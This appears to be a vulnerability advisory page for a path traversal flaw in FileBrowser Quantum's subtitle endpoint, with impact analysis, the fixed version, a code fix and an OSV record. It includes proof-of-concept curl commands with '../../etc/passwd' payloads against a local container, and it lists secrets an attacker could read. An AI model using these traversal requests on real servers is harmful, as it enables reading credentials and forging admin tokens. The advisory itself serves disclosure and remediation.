CVE-2026-54910: Github.com/gtsteffaniak/filebrowser/backend Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-vvp7-h4fj-m28w
CVSS 7.7
CWE-23 CWE-22
Published
Advisory Summary

CVE-2026-54910 is a HIGH (CVSS 7.7) path traversal vulnerability (CWE-23: Relative Path Traversal) affecting Github.com/gtsteffaniak/filebrowser/backend libraries in the Go ecosystem. The issue involves filebrowser quantum's path traversal issue in subtitle handler allows any authenticated user to read arbitrary files. Remediation is available by upgrading affected packages to version 0.0.0-20260608182036-f3f4bbe80cb5.

CVE-2026-54910 at a Glance

CVE Identifier CVE-2026-54910
GHSA Identifier GHSA-vvp7-h4fj-m28w
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-23: Relative Path Traversal
Affected Product Github.com/gtsteffaniak/filebrowser/backend
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-54910

To remediate this vulnerability, upgrade all affected Github.com/gtsteffaniak/filebrowser/backend dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/gtsteffaniak/filebrowser/backend fixed: 0.0.0-20260608182036-f3f4bbe80cb5
Upgrade github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260608182036-f3f4bbe80cb5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/gtsteffaniak/filebrowser/backend

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54910, inspect your project dependencies for Github.com/gtsteffaniak/filebrowser/backend:

inspect dependencies for github.com/gtsteffaniak/filebrowser/backend

Analyze the terminal output to locate any version of Github.com/gtsteffaniak/filebrowser/backend in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260608182036-f3f4bbe80cb5), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-23: Relative Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. In Github.com/gtsteffaniak/filebrowser/backend, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `subtitlesHandler` endpoint (`GET /api/media/subtitles`) accepts two user-controlled query parameters: `path` and `name`, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors. The primary vector is the `path` parameter: it is passed directly to `idx.GetRealPath()` without calling `SanitizeUserPath()`, allowing an attacker to escape the storage root and set `parentDir` to any directory on the host. No existing anchor file is required. The secondary vector is the `name` parameter: it is joined with `parentDir` via `filepath.Join(parentDir, name)` without stripping directory components, allowing traversal relative to any resolved `parentDir`. Any authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including `/etc/passwd`, SSH keys, database credentials, and JWT signing keys. ### Details **1. `path` parameter lacks `SanitizeUserPath()` — primary vector (`http/media.go:54`)** ```go userscope, err := d.user.GetScopeForSourceName(source) // ... realPath, _, err := idx.GetRealPath(userscope, path) // path is raw user input, no sanitization // ... parentDir := filepath.Dir(realPath) // line 59: attacker controls this directory ``` `SanitizeUserPath()` explicitly rejects `..` segments: ```go func SanitizeUserPath(userPath string) (string, error) { // ... for _, segment := range segments { if segment == ".." { return "", fmt.Errorf("invalid path: path traversal detected") } } // ... } ``` Every other handler in the codebase calls `SanitizeUserPath()` before `GetRealPath()`. This handler skips it, so `path=../../etc/passwd` resolves `parentDir` to `/etc`, with no anchor file required. **2. `name` parameter used directly in `filepath.Join` — secondary vector (`http/media.go:63`)** ```go name := r.URL.Query().Get("name") // line 37 — raw user input // ... content, err = utils.GetSubtitleSidecarContent( filepath.Join(parentDir, name)) // line 63 — TRAVERSAL ``` `filepath.Join(parentDir, "../../etc/passwd")` resolves the `..` components, escaping `parentDir`. This vector requires a valid file in scope as the `path` anchor. **3. `GetSubtitleSidecarContent` reads and returns file contents (`common/utils/media.go:17-43`)** ```go func GetSubtitleSidecarContent(subtitlePath string) (string, error) { info, err := os.Stat(subtitlePath) // follows the traversed path // size check: < 50MB isText, err := IsTextFile(subtitlePath) // checks UTF-8 validity content, err := os.ReadFile(subtitlePath) // reads and returns content return string(content), nil } ``` The only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string. **4. Endpoint is behind `withUser` but requires no special permissions** ```go // httpRouter.go api.HandleFunc("GET /media/subtitles", withUser(subtitlesHandler)) ``` Any authenticated user can access this endpoint: no admin, modify, share, or download permission is required. ### PoC **Vector 1: `path` traversal (no anchor file needed):** ```bash docker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3 TOKEN=$(curl -s -X POST "http://localhost:18080/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"') curl "http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN" ``` **Expected output:** `/etc/passwd` contents with HTTP 200. **Vector 2: `name` traversal (anchor file required):** ```bash mkdir -p /tmp/fbq-srv && echo "dummy" > /tmp/fbq-srv/poc.txt docker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3 TOKEN=$(curl -s -X POST "http://localhost:18081/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"') curl "http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN" ``` **Expected output:** `/etc/passwd` contents with HTTP 200. ### Impact - **Arbitrary file read**: Any authenticated user can read any text file on the host filesystem that the server process has read permission for. - **No anchor file required**: The `path` vector works on a default install with an empty storage root, so no existing file in scope is needed. - **Scope bypass**: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system. - **Credential exposure**: `/etc/passwd`, `/etc/shadow` (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets. - **Privilege escalation**: Reading the JWT signing key from the database or config file enables forging admin tokens. - **No special permissions required**: The endpoint only requires basic authentication: no admin, modify, share, or download permissions. ### Recommended Fix Apply `SanitizeUserPath()` to the `path` parameter and `filepath.Base()` to the `name` parameter: ```go // http/media.go, subtitlesHandler // Sanitize path parameter (like all other handlers) path, err := utils.SanitizeUserPath(path) if err != nil { return http.StatusBadRequest, err } // Strip directory components from name to prevent traversal name = filepath.Base(name) ``` `SanitizeUserPath()` rejects any `..` segment. `filepath.Base("../../etc/passwd")` returns `"passwd"`, preventing traversal via `name`. Additionally, consider adding a file extension allowlist to restrict `name` to subtitle formats (`.srt`, `.vtt`, `.ass`, `.ssa`, `.sub`) only.

CVE-2026-54910 Affected Github.com/gtsteffaniak/filebrowser/backend Versions

1 component(s)
Fixed Versions:
0.0.0-20260608182036-f3f4bbe80cb5
Product / Package Ecosystem Affected Versions Fixed Version
github.com/gtsteffaniak/filebrowser/backend
Go
< 0.0.0-20260608182036-f3f4bbe80cb5
0.0.0-20260608182036-f3f4bbe80cb5

References

Frequently Asked Questions

What is CVE-2026-54910?
CVE-2026-54910 is a security vulnerability in Github.com/gtsteffaniak/filebrowser/backend involving FileBrowser Quantum's path traversal issue in subtitle handler allows any authenticated user to read arbitrary files under CWE-23: Relative Path Traversal.
Which Github.com/gtsteffaniak/filebrowser/backend versions are affected?
Affected versions include releases prior to 0.0.0-20260608182036-f3f4bbe80cb5 across affected packages: github.com/gtsteffaniak/filebrowser/backend.
What version fixes CVE-2026-54910?
Upgrading to 0.0.0-20260608182036-f3f4bbe80cb5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/gtsteffaniak/filebrowser/backend affected?
Yes, github.com/gtsteffaniak/filebrowser/backend is affected in releases prior to 0.0.0-20260608182036-f3f4bbe80cb5. Upgrade your dependency to 0.0.0-20260608182036-f3f4bbe80cb5 or later.
What is the CVSS score of CVE-2026-54910?
CVE-2026-54910 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-54910?
CVE-2026-54910 is classified under CWE-23: Relative Path Traversal (The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.).
How can I check Go dependencies for CVE-2026-54910?
Run the dependency tree command: 'inspect dependencies for github.com/gtsteffaniak/filebrowser/backend'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vvp7-h4fj-m28w",
  "modified" : "2026-07-31T22:35:05Z",
  "published" : "2026-07-31T22:35:05Z",
  "aliases" : [ "CVE-2026-54910" ],
  "summary" : "FileBrowser Quantum's path traversal issue in subtitle handler allows any authenticated user to read arbitrary files",
  "details" : "### Summary\n\nThe `subtitlesHandler` endpoint (`GET /api/media/subtitles`) accepts two user-controlled query parameters: `path` and `name`, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors.\n\nThe primary vector is the `path` parameter: it is passed directly to `idx.GetRealPath()` without calling `SanitizeUserPath()`, allowing an attacker to escape the storage root and set `parentDir` to any directory on the host. No existing anchor file is required. \n\nThe secondary vector is the `name` parameter: it is joined with `parentDir` via `filepath.Join(parentDir, name)` without stripping directory components, allowing traversal relative to any resolved `parentDir`.\n\nAny authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including `/etc/passwd`, SSH keys, database credentials, and JWT signing keys.\n\n### Details\n\n**1. `path` parameter lacks `SanitizeUserPath()` — primary vector (`http/media.go:54`)**\n\n```go\nuserscope, err := d.user.GetScopeForSourceName(source)\n// ...\nrealPath, _, err := idx.GetRealPath(userscope, path)  // path is raw user input, no sanitization\n// ...\nparentDir := filepath.Dir(realPath)  // line 59: attacker controls this directory\n```\n\n`SanitizeUserPath()` explicitly rejects `..` segments:\n\n```go\nfunc SanitizeUserPath(userPath string) (string, error) {\n    // ...\n    for _, segment := range segments {\n        if segment == \"..\" {\n            return \"\", fmt.Errorf(\"invalid path: path traversal detected\")\n        }\n    }\n    // ...\n}\n```\n\nEvery other handler in the codebase calls `SanitizeUserPath()` before `GetRealPath()`. This handler skips it, so `path=../../etc/passwd` resolves `parentDir` to `/etc`, with no anchor file required.\n\n**2. `name` parameter used directly in `filepath.Join` — secondary vector (`http/media.go:63`)**\n\n```go\nname := r.URL.Query().Get(\"name\")  // line 37 — raw user input\n// ...\ncontent, err = utils.GetSubtitleSidecarContent(\n    filepath.Join(parentDir, name))  // line 63 — TRAVERSAL\n```\n\n`filepath.Join(parentDir, \"../../etc/passwd\")` resolves the `..` components, escaping `parentDir`. This vector requires a valid file in scope as the `path` anchor.\n\n**3. `GetSubtitleSidecarContent` reads and returns file contents (`common/utils/media.go:17-43`)**\n\n```go\nfunc GetSubtitleSidecarContent(subtitlePath string) (string, error) {\n    info, err := os.Stat(subtitlePath)        // follows the traversed path\n    // size check: < 50MB\n    isText, err := IsTextFile(subtitlePath)   // checks UTF-8 validity\n    content, err := os.ReadFile(subtitlePath) // reads and returns content\n    return string(content), nil\n}\n```\n\nThe only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string.\n\n**4. Endpoint is behind `withUser` but requires no special permissions**\n\n```go\n// httpRouter.go\napi.HandleFunc(\"GET /media/subtitles\", withUser(subtitlesHandler))\n```\n\nAny authenticated user can access this endpoint: no admin, modify, share, or download permission is required.\n\n### PoC\n\n**Vector 1: `path` traversal (no anchor file needed):**\n\n```bash\ndocker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3\nTOKEN=$(curl -s -X POST \"http://localhost:18080/api/auth/login?username=admin\" -H \"X-Password: admin\" | tr -d '\"')\ncurl \"http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN\"\n```\n**Expected output:** `/etc/passwd` contents with HTTP 200.\n\n**Vector 2: `name` traversal (anchor file required):**\n\n```bash\nmkdir -p /tmp/fbq-srv && echo \"dummy\" > /tmp/fbq-srv/poc.txt\ndocker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3\nTOKEN=$(curl -s -X POST \"http://localhost:18081/api/auth/login?username=admin\" -H \"X-Password: admin\" | tr -d '\"')\ncurl \"http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN\"\n```\n**Expected output:** `/etc/passwd` contents with HTTP 200.\n\n### Impact\n\n- **Arbitrary file read**: Any authenticated user can read any text file on the host filesystem that the server process has read permission for.\n- **No anchor file required**: The `path` vector works on a default install with an empty storage root, so no existing file in scope is needed.\n- **Scope bypass**: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system.\n- **Credential exposure**: `/etc/passwd`, `/etc/shadow` (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets.\n- **Privilege escalation**: Reading the JWT signing key from the database or config file enables forging admin tokens.\n- **No special permissions required**: The endpoint only requires basic authentication: no admin, modify, share, or download permissions.\n\n### Recommended Fix\n\nApply `SanitizeUserPath()` to the `path` parameter and `filepath.Base()` to the `name` parameter:\n\n```go\n// http/media.go, subtitlesHandler\n\n// Sanitize path parameter (like all other handlers)\npath, err := utils.SanitizeUserPath(path)\nif err != nil {\n    return http.StatusBadRequest, err\n}\n\n// Strip directory components from name to prevent traversal\nname = filepath.Base(name)\n```\n\n`SanitizeUserPath()` rejects any `..` segment. `filepath.Base(\"../../etc/passwd\")` returns `\"passwd\"`, preventing traversal via `name`. Additionally, consider adding a file extension allowlist to restrict `name` to subtitle formats (`.srt`, `.vtt`, `.ass`, `.ssa`, `.sub`) only.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/gtsteffaniak/filebrowser/backend"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260608182036-f3f4bbe80cb5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-vvp7-h4fj-m28w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54910"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gtsteffaniak/filebrowser/pull/2524"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gtsteffaniak/filebrowser/commit/f3f4bbe80cb569d664174aea874d7bfa008c3b5a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gtsteffaniak/filebrowser"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gtsteffaniak/filebrowser/releases/tag/v1.4.3-beta"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-23" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-31T22:35:05Z",
    "nvd_published_at" : "2026-07-20T15:16:43Z"
  }
}